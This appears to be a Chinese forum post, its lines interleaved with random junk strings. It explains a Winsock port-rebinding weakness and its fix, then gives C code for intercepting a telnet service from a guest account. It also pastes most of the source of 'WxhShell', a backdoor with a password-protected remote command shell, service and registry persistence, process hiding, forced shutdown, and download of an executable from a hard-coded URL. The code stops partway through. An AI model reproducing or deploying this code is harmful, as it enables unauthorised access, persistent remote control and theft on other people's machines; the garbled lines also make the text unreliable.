在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
_dmgNbs s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
O}Fp\" lRZt))3 saddr.sin_family = AF_INET;
F?T3fINR aq oT saddr.sin_addr.s_addr = htonl(INADDR_ANY);
ZV,n-M = Ac^}wXp bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
bo0m/hVU
[^8*9?i4 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
6f\0YU<C& :PY~Cws 这意味着什么?意味着可以进行如下的攻击:
Jc-0.^]E} uG${`4 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
IT'~.!o7/ Tm.(gK 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
_^0yE_ili BN|+2D+S 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
[`6|~E"F Y9'Bdm/ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
*h-_
_$9<N5F.,o 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
kbI:}b7H ;Tvy)*{ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
uV#/Lgw{M z5=&qo|f9l 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
5Q?7 xTQ c_yf= #include
-9UQs.Nv #include
Y(m/E.h.~ #include
\(cu<{=rU #include
EZ8Ih,j9 DWORD WINAPI ClientThread(LPVOID lpParam);
Y 'Yoc int main()
Aq^1(-g {
DQ?'f@I&* WORD wVersionRequested;
r\F`xtR( DWORD ret;
THi*'D/ WSADATA wsaData;
;4z6="<Y BOOL val;
%t([ SOCKADDR_IN saddr;
KA0Ui,q3 SOCKADDR_IN scaddr;
&y;('w int err;
Be68 Fu0 SOCKET s;
ReE6h\j SOCKET sc;
od"Oq?~/t int caddsize;
a-MDZT<xA+ HANDLE mt;
w6F4o;<PR DWORD tid;
1 xm8w$% wVersionRequested = MAKEWORD( 2, 2 );
nAZuA]p}S] err = WSAStartup( wVersionRequested, &wsaData );
WtN o@e' if ( err != 0 ) {
npkE[JE: printf("error!WSAStartup failed!\n");
s(w6Ldi return -1;
1mz;4xb }
<S:SIaf0 saddr.sin_family = AF_INET;
zF[kb%o @/@#,+ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Y,RBTH 2j9Mr saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
iq)4/3"6 saddr.sin_port = htons(23);
oyZ}JTl(Q if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
R3`!Xj#&M {
8%S5Fc#am printf("error!socket failed!\n");
5 6;lB$)" return -1;
*.#d'~+ }
+@ga val = TRUE;
CvW*/d
q //SO_REUSEADDR选项就是可以实现端口重绑定的
O~N0JK_> if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
4:GVZR|- {
DF|(CQs9 printf("error!setsockopt failed!\n");
WI/&r5rq return -1;
`?+lM }
n@<+D`[.V //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
g)c<\% //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
[1K\
_ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
f'` QW@U } QVREj if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
|Byw]\3v {
xs y5" ret=GetLastError();
#!(OTe L printf("error!bind failed!\n");
,)^4H>~V return -1;
4+qoq$F</ }
~jWG U-m listen(s,2);
[+<lm
5t while(1)
Loo48 {
j#mo Vq caddsize = sizeof(scaddr);
e=S51q_0 //接受连接请求
rvrv[^a( sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
w64 /$ if(sc!=INVALID_SOCKET)
8L]em&871 {
8D7=] mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Q'xZ\t if(mt==NULL)
7~(|q2ib {
naE;f) printf("Thread Creat Failed!\n");
SKO*x^"eU break;
_
T ;+* }
T v2d?y }
91Bl{ CloseHandle(mt);
e
lj] e }
Ovu!G
q closesocket(s);
Fv_rDTo WSACleanup();
kex4U6&OQB return 0;
)"SP >2} }
5>{ DWORD WINAPI ClientThread(LPVOID lpParam)
,.Xqb~ {
]3UEju8$ SOCKET ss = (SOCKET)lpParam;
!58j xh SOCKET sc;
T#&tf^; unsigned char buf[4096];
b|_Pt SOCKADDR_IN saddr;
!\D[lh}rL long num;
8bl&-F` DWORD val;
F/1B>2$` DWORD ret;
(vL-Z[M! //如果是隐藏端口应用的话,可以在此处加一些判断
,D#ssxV //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
HHd;<% q saddr.sin_family = AF_INET;
<<a1a saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
c*iZ6j"iI saddr.sin_port = htons(23);
@0js=3!2 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%p? +r {
i n}N[ printf("error!socket failed!\n");
>;|~
z\8 return -1;
@JFfyQ {- }
kTJz . val = 100;
?"23X Ke if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
E RnuM {
v E4ce ret = GetLastError();
frsqnvm;+ return -1;
(A@~]N,U/ }
Na6z1&wS if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
70sb{) {
}r%Si ret = GetLastError();
,_ zivUU return -1;
7t8[M( }
'!$g<= @ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
2QUZBrs s {
"Q{)H8,E)x printf("error!socket connect failed!\n");
(f Gmjx closesocket(sc);
sR(or=ub~ closesocket(ss);
H83Gx; return -1;
$>Y2N5 }
u1@&o9 while(1)
-o\o{?t, {
S!\4,6 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
-> $]`h" //如果是嗅探内容的话,可以再此处进行内容分析和记录
|@Cx%aEKU //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
%
~!A, num = recv(ss,buf,4096,0);
701mf1a if(num>0)
R&lJ& SgC send(sc,buf,num,0);
>v
sy P else if(num==0)
8mrB_B5 break;
tWT,U[ num = recv(sc,buf,4096,0);
SVJL|S 3k if(num>0)
o8PK,!Pl send(ss,buf,num,0);
DQ#rZi3I else if(num==0)
8[PD`*w break;
{~L{FG)O }
%3Ba9Nmid closesocket(ss);
G)(vd0X1 closesocket(sc);
qdss(LZ return 0 ;
fN!ci'] }
d*}dM" x6h';W_ 8 }fS`jq; ==========================================================
?h$
=] :!'!V>#g 下边附上一个代码,,WXhSHELL
3Ygt! C>}@"eK ==========================================================
CXAW>VdK_ ls;!Og9 #include "stdafx.h"
ryC7O'j_P :kQ%Mj> #include <stdio.h>
t)p . $ #include <string.h>
UPE9e
#include <windows.h>
SV?^i ` #include <winsock2.h>
=ws iC' #include <winsvc.h>
EC:u;2f! #include <urlmon.h>
VR'R7 7o99@K, #pragma comment (lib, "Ws2_32.lib")
4qYT #pragma comment (lib, "urlmon.lib")
?z[k.l+6w :j<ij]rsI #define MAX_USER 100 // 最大客户端连接数
+46m~" ] #define BUF_SOCK 200 // sock buffer
\>G :mMk/ #define KEY_BUFF 255 // 输入 buffer
fPpFAO mw!EDJ;' #define REBOOT 0 // 重启
>V,i7v*? #define SHUTDOWN 1 // 关机
ozCH1V{p K(:
_52rt #define DEF_PORT 5000 // 监听端口
F7"v}K]X n N_Ylw #define REG_LEN 16 // 注册表键长度
f|r+qe #define SVC_LEN 80 // NT服务名长度
v PJ=~*P= R'z
-#*[ // 从dll定义API
Cqra\ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
-#y^$$i0 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Z/*X)mBuB typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
!A|ayYBb\ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
V."qxKsz ;,2;J3,pA // wxhshell配置信息
g,O3\jjQ struct WSCFG {
I;5:jT ` int ws_port; // 监听端口
DxvD 1u char ws_passstr[REG_LEN]; // 口令
wRCv?D`vV int ws_autoins; // 安装标记, 1=yes 0=no
F8*zG 4/& char ws_regname[REG_LEN]; // 注册表键名
(oG-h"^/ char ws_svcname[REG_LEN]; // 服务名
SmMJ%lgA6 char ws_svcdisp[SVC_LEN]; // 服务显示名
bkSI1m3 char ws_svcdesc[SVC_LEN]; // 服务描述信息
hlO,mU char ws_passmsg[SVC_LEN]; // 密码输入提示信息
m`lxQik int ws_downexe; // 下载执行标记, 1=yes 0=no
;XDGlv% char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
2+'4 m#@) char ws_filenam[SVC_LEN]; // 下载后保存的文件名
79y'PFSms k0>]7t$L };
AfaoFn+ })TXX7[h // default Wxhshell configuration
WvVf+|Km struct WSCFG wscfg={DEF_PORT,
yu98d1 "xuhuanlingzhe",
g>&b&X&Y_ 1,
,b!]gsds "Wxhshell",
YYi:d=0<SO "Wxhshell",
y7LT;`A "WxhShell Service",
#-^y9B "Wrsky Windows CmdShell Service",
rD*CLqK "Please Input Your Password: ",
E==vk~cz 1,
]4
q6N "
http://www.wrsky.com/wxhshell.exe",
p J#<e "Wxhshell.exe"
>ZjGs8& };
863PVce",} F =Zc_ // 消息定义模块
Y?b4* me char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
KU5|~1t 4 char *msg_ws_prompt="\n\r? for help\n\r#>";
4.o[:5' char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
2[e^mm&. char *msg_ws_ext="\n\rExit.";
Wti?J.Csc char *msg_ws_end="\n\rQuit.";
YLAGTH0.] char *msg_ws_boot="\n\rReboot...";
WY`hNT6M char *msg_ws_poff="\n\rShutdown...";
NUjo5.7 char *msg_ws_down="\n\rSave to ";
=0gfGwD{ se, 0Rvkt char *msg_ws_err="\n\rErr!";
P{{U char *msg_ws_ok="\n\rOK!";
^cz;UQX~} 4Px char ExeFile[MAX_PATH];
.C7;T'>! int nUser = 0;
"<LVA2v; HANDLE handles[MAX_USER];
f6O5k8n int OsIsNt;
dLnu\bSF )?D w)s5 SERVICE_STATUS serviceStatus;
}ki}J >j|f SERVICE_STATUS_HANDLE hServiceStatusHandle;
*LZ^0c: r cJQ& #u // 函数声明
;xMieqz int Install(void);
D/7hVwMw: int Uninstall(void);
'D1Sm&M2%e int DownloadFile(char *sURL, SOCKET wsh);
LjOHlT' int Boot(int flag);
e|&}{JP{[ void HideProc(void);
Ohe*m[ int GetOsVer(void);
@cT= t0* int Wxhshell(SOCKET wsl);
ZUiInO void TalkWithClient(void *cs);
o 2Okc><z int CmdShell(SOCKET sock);
(bBr O74lR int StartFromService(void);
g-cC&)0Q int StartWxhshell(LPSTR lpCmdLine);
QTKN6P ZZJXd+Q} VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
|4tnG&= VOID WINAPI NTServiceHandler( DWORD fdwControl );
#{]Yw}m e_{!8u.+ // 数据结构和表定义
60`4
_Uy]_ SERVICE_TABLE_ENTRY DispatchTable[] =
.o!z:[IPY {
gY=Ry=w9 {wscfg.ws_svcname, NTServiceMain},
SSh=r {NULL, NULL}
zC[lPABQ };
P
O{1u%P `4N{x.N // 自我安装
|loo^!I int Install(void)
Edi`x5"l {
c'8a)j$$+ char svExeFile[MAX_PATH];
Q|+g= |%^ HKEY key;
q%Fc?d9 strcpy(svExeFile,ExeFile);
_a e&@s1 EE<^q?[3^ // 如果是win9x系统,修改注册表设为自启动
6-w'? G37 if(!OsIsNt) {
zJJ6"9sl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
]|y]?7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
H^e0fm
RegCloseKey(key);
6uAo0+-k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
W6>SYa RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
3n=`SLj/a RegCloseKey(key);
m@_m"1_; return 0;
dT9ekNQB }
+z2+z }
-#nfO*H}
}
jW G=k#WN else {
`S{Blv xq2
,S // 如果是NT以上系统,安装为系统服务
+&p}iZp SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
q~K
KN /N if (schSCManager!=0)
BRx`83CK {
{ fmY_T[Q8 SC_HANDLE schService = CreateService
j+_pF<$f: (
T|c9Swur schSCManager,
0H6^2T< wscfg.ws_svcname,
%qM3IVPK)q wscfg.ws_svcdisp,
NNt,J; SERVICE_ALL_ACCESS,
N~%F/`Z<+ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
onuhNn_=> SERVICE_AUTO_START,
i'Oh^Y)E# SERVICE_ERROR_NORMAL,
"F*'UfOwrZ svExeFile,
H9^DlIv(' NULL,
{cNH| NULL,
Q6?}/p NULL,
=HF||p@ NULL,
:PrQ]ss@C5 NULL
!*?Ss );
T|h/n\fx)a if (schService!=0)
}wJDHgt]-p {
}- Jw"|^W CloseServiceHandle(schService);
O!b > CloseServiceHandle(schSCManager);
ZjE!?
'(ef strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
|$r|DX1[ strcat(svExeFile,wscfg.ws_svcname);
&DMKZMj<Q* if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
P|[i{h RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
WCbv5)uTUs RegCloseKey(key);
?w}E/(r return 0;
$?l? }
sW":~=H }
O MEPF2: CloseServiceHandle(schSCManager);
H-Uy~Ry*T }
WH.5vrY Z }
M~/%V NX 0Wf,SYx`s return 1;
}Om+,!_d }
TB]Bl. %}U-g"I // 自我卸载
x}.Q9L int Uninstall(void)
s^nwF> {
MSmvQ HKEY key;
4MVa[0Y \(lt [= if(!OsIsNt) {
#-9;Hn4x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
,3k"J4|d RegDeleteValue(key,wscfg.ws_regname);
8
0>qqz RegCloseKey(key);
e,_b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
glk_*x RegDeleteValue(key,wscfg.ws_regname);
<t{T]i+ RegCloseKey(key);
v'C`;I return 0;
!O=J8;oLk }
Wmp,,H }
FDB^JH9d }
5Pis0fa else {
]_S&8F}| =o5ZcC SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
-Bqn^ E
if (schSCManager!=0)
~;Ga65_6_ {
t@Qs&DZ7k SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
G[YbgG=9Y if (schService!=0)
Rx$5#K!%M {
,zy4+GW if(DeleteService(schService)!=0) {
xzFV] CloseServiceHandle(schService);
a.a5qwG CloseServiceHandle(schSCManager);
~M 6^% return 0;
Q"UQv< }
c~0YIk>] CloseServiceHandle(schService);
:^DuB_ }
ellj/u61bj CloseServiceHandle(schSCManager);
V4GcW|P4y }
eKlh }v }
0k I.dX) `Jh> 1l return 1;
6]dK, }
8X`Gm!) c <[?Z7y // 从指定url下载文件
}LNpr int DownloadFile(char *sURL, SOCKET wsh)
T`{W$4XS {
FO{K=9O HRESULT hr;
Be{7Rj v char seps[]= "/";
OLc/Vij; char *token;
)o'&f"/ char *file;
uE~? 2G char myURL[MAX_PATH];
j+:q:6 = char myFILE[MAX_PATH];
lm}mXFf# &eQF[8 , strcpy(myURL,sURL);
B
Mh949; token=strtok(myURL,seps);
uhUC m while(token!=NULL)
?]}1FP {
xBhfC!AK} file=token;
e2Sudd=' G token=strtok(NULL,seps);
7p&%0'BO1z }
H4 }^6><V ~S)o(' GetCurrentDirectory(MAX_PATH,myFILE);
B*A{@)_ strcat(myFILE, "\\");
0+b1R}!2 strcat(myFILE, file);
C8%Io l send(wsh,myFILE,strlen(myFILE),0);
83UIH0( send(wsh,"...",3,0);
Exox&T hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
'vT
XR_D if(hr==S_OK)
&ZgB b return 0;
\?-`?QPux else
PNLtpixZ return 1;
~/J:p5?L Mg]q^T.a }
S(jbPQT \$ L2xd // 系统电源模块
:tY;K2wDM int Boot(int flag)
$D8eCjUm {
\D] N* HANDLE hToken;
_NAKVzo- TOKEN_PRIVILEGES tkp;
8Letpygm WRQJ6B if(OsIsNt) {
Vd[[< OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
r{.DRbn LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Wa%Zt*7 tkp.PrivilegeCount = 1;
"gXz{$q tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
/i|T \ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
_8 b)Xx@5 if(flag==REBOOT) {
pC0l}hnUg if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
0jO]+B I1 return 0;
F.mS,W] }
8moX"w\~_h else {
T_O\L[]p* if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
2~+_T return 0;
r#wMd9]) }
A/Kw"l> }
EoqUFa, else {
CF3Z`xD if(flag==REBOOT) {
}wrZP}zM> if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
_B)LRD+Hj return 0;
I~EQuQ >= }
jQOY \1SR else {
`/JJ\`Pu if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
=jjUwcl return 0;
nmp(%;<exN }
6|3$43J,F }
~M%r.WFpA .w^M?}dx return 1;
/u{ 9UR[g }
L3P _ =NwmhV // win9x进程隐藏模块
1 ry:Z2 void HideProc(void)
09`5<9/ {
DYJ@>8 J]5sWs HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
zr%lBHuW if ( hKernel != NULL )
#q40 >)] {
?"\`u; pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Asicf{HaX ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
:BG/]7>|V FreeLibrary(hKernel);
9VdVom|e }
ma>{((N a?K= return;
)s(J8J[b*L }
,Khhu%$ N7k<q=r- // 获取操作系统版本
SeqnO.\ int GetOsVer(void)
^?(A|krFg {
g
PogV(V OSVERSIONINFO winfo;
~hPp)-A winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
9*2A}dH GetVersionEx(&winfo);
a(s}Ec${Z if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
z-K?AkB1 return 1;
H[ocIw else
di}YHMTx return 0;
:)X?ML? }
q[1:h LF?83P,UJ# // 客户端句柄模块
Zso&.IATng int Wxhshell(SOCKET wsl)
/rN%y {
pXPwn( SOCKET wsh;
J6/Mm7R struct sockaddr_in client;
RRig
DWORD myID;
@$z/=g sy [TvH7ott'1 while(nUser<MAX_USER)
X*VHi {
R:kNAtK int nSize=sizeof(client);
Y15KaoK? wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
r 11:T3
if(wsh==INVALID_SOCKET) return 1;
aN{C86wx y-O#
+{7 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
1[o] u:m9U if(handles[nUser]==0)
?#ue:O1 closesocket(wsh);
+lmMBjDa else
u}hQF$a" nUser++;
ZvEcExA- }
P|YBCH WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
z|[#6X6tT x&7%U return 0;
LS@[O])$' }
9B")/Hz_ qN}kDT // 关闭 socket
~>zml1aJ6 void CloseIt(SOCKET wsh)
G^]T {
+,<\LIP closesocket(wsh);
tmiRv.Mhn< nUser--;
"I?sz)pxG ExitThread(0);
1XQJ#J1/ }
]8KAat~J xnWCio>M // 客户端请求句柄
)[Bwr
bn void TalkWithClient(void *cs)
rMAH YH9 {
>HO{gaRM Y ::\;s SOCKET wsh=(SOCKET)cs;
XbdoTriE char pwd[SVC_LEN];
|9ro&KA char cmd[KEY_BUFF];
mz@`*^7? char chr[1];
cMOvM0f int i,j;
:#v8K;C .f
4a+w while (nUser < MAX_USER) {
NKB,D$!~& Vc|r(lM if(wscfg.ws_passstr) {
\)859x&( if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
n-[J+DdB //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
P]gksts9f. //ZeroMemory(pwd,KEY_BUFF);
BFmYbK i=0;
zvB!= while(i<SVC_LEN) {
tyFhp:ZB yaV=e1W // 设置超时
-=,%9r fd_set FdRead;
[?$ZB),L8 struct timeval TimeOut;
0 ;kcSz FD_ZERO(&FdRead);
|j53'>N[ FD_SET(wsh,&FdRead);
-Qx:-,.a TimeOut.tv_sec=8;
50%
|9D0?Y TimeOut.tv_usec=0;
!U.Xb6 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
6T{Zee if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
uP/PVoKQ Vzf{gr? if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
O~F/{:U pwd
=chr[0]; 8$a4[s
if(chr[0]==0xd || chr[0]==0xa) { {Buoo~
pwd=0; &\8.y2=9p
break; %\#s@8=2u
} J&UFP{)
i++; |1J=wp)#
} +RS>#zd/=
Q>[*Y/`I
// 如果是非法用户,关闭 socket i>6SY83B}
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); OJ$169@;
} X_|W#IM*+
<SI&e/
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .QOQqU*2I
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Okm&b g
QA7SQcd,
while(1) { eA9U|&o
<Ur(< WTV
ZeroMemory(cmd,KEY_BUFF); E< nXkqD
|VMc,_D
// 自动支持客户端 telnet标准 49n.Gc
j=0; (.\GI D+i
while(j<KEY_BUFF) { 6$[7t?u
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J7X-=E D
cmd[j]=chr[0]; 1 Y_e1tgmm
if(chr[0]==0xa || chr[0]==0xd) { =$601r
cmd[j]=0; f'aQ T
break; ']^e,9=Q
} G|FF
j++; jq(3y|6,
} CBdSgHA3>
7onMKMktM%
// 下载文件
Xm`s=5%
if(strstr(cmd,"http://")) { 6ae
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]$(::'pmK
if(DownloadFile(cmd,wsh)) ,t5X'sY L
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *9)7.}uY
else M iIH&z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;:1d<Q|
} avxI\twAU
else { "Q9S<O8)
NhQIpzL)
switch(cmd[0]) { b $x<7l5C
mLX1w)=r
// 帮助 VpSk.WY/ e
case '?': { ie+&@u
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *FDz20S
break; QxvxeK!Y
} ut%t`Y(
]
// 安装 t ]{qizfOB
case 'i': { c/
%5IhX?
if(Install()) 7r?O(0>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); K0 .f4o
else LB%_FT5
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KY/}jJW
break; w~M5)b
} KTxdZt
// 卸载 Nk=F.fp|/
case 'r': { quk~z};R>\
if(Uninstall()) ^qqP):0y1V
send(wsh,msg_ws_err,strlen(msg_ws_err),0); RGYky3mQK
else HRi~TZ?\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $+Ke$fq.>
break; mtuq
} 8,2l >S
// 显示 wxhshell 所在路径 d}tn/Eu?B
case 'p': { 9x.vz
char svExeFile[MAX_PATH]; OqUEj 0X
strcpy(svExeFile,"\n\r"); wqBGJ
strcat(svExeFile,ExeFile); T:x5 ,vpM
send(wsh,svExeFile,strlen(svExeFile),0); >1:s.[&
break; @8C^[fDL
}
At%g^
// 重启
U,)Ngnd
case 'b': { _v4TyJ
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _=B(jJZ
if(Boot(REBOOT)) ?@Z~i]gE[V
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mH*42XC*
else { b,5H|$nLu
closesocket(wsh); d+~c$(M)
ExitThread(0); VBR@f<2L
} ;5#P?
break; hZI9*=`,"
} )/2* <jr
// 关机 jo=XxA
case 'd': { y=YD4m2 W
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?
Ldw\
if(Boot(SHUTDOWN)) mU:C{<Z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #O]F5JB
else { &w:"e'FG`
closesocket(wsh); 0:Js{$ZL4
ExitThread(0); kM]:~b2
} aAO[Y"-:,Y
break; C.@R#a'
} z;1tJ
// 获取shell $=iz&{9
case 's': { UV)[a%/SB&
CmdShell(wsh); i\2MphS
closesocket(wsh); U
jVo "K
ExitThread(0); aW %ulZ
break; qfE/,L(B
} %^^2
// 退出 ZA>hN3fE'
case 'x': { "m})~va
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y%
uUA]c*m
CloseIt(wsh); @Qd6a:-6
break; Z<En3^j`
} \l_RyMi
// 离开 .r SeJZzuj
case 'q': { n?@3R#4D3
send(wsh,msg_ws_end,strlen(msg_ws_end),0); +OK.[ji?
closesocket(wsh); bj(U?$
WSACleanup(); eJE?H]
exit(1); 2f`u?T
break; gm8L5c
V
} &PD4+%!
} IvetQ+
} gd.P%KC!g
@z$V(}(O^
// 提示信息 )!3XM
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wf13Ab
} 1W8[
RET
} ^Ot+,l)
7u,56V?X
return; 3nd02:GF
} {#uX
TuwH?{
FzK
// shell模块句柄 o; 6\
int CmdShell(SOCKET sock) Z4}Yw{=f
{ Y[$[0
STARTUPINFO si; RmO-".$yt
ZeroMemory(&si,sizeof(si)); c;w
cgU
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y%p"RB[
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; tbAN{pX
PROCESS_INFORMATION ProcessInfo; ~zRUJ2hD!
char cmdline[]="cmd"; F0bmGDp@-
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (Z)
return 0; k<"ZNQm$.
} HYLU]9aH8
?F*gFW_k
// 自身启动模式 !#3#}R.$Fl
int StartFromService(void) s
ZkQJ->
{ Cv{rd##Y8
typedef struct g Gg8O? Z
{ %&Z!-k(
DWORD ExitStatus; LB? evewu
DWORD PebBaseAddress; T'\lntN
DWORD AffinityMask; {4CkF\
DWORD BasePriority; eN>=x40
ULONG UniqueProcessId; P_hwa1~d
ULONG InheritedFromUniqueProcessId; h_?D%b~5
} PROCESS_BASIC_INFORMATION; h\C
9g"a`a?c
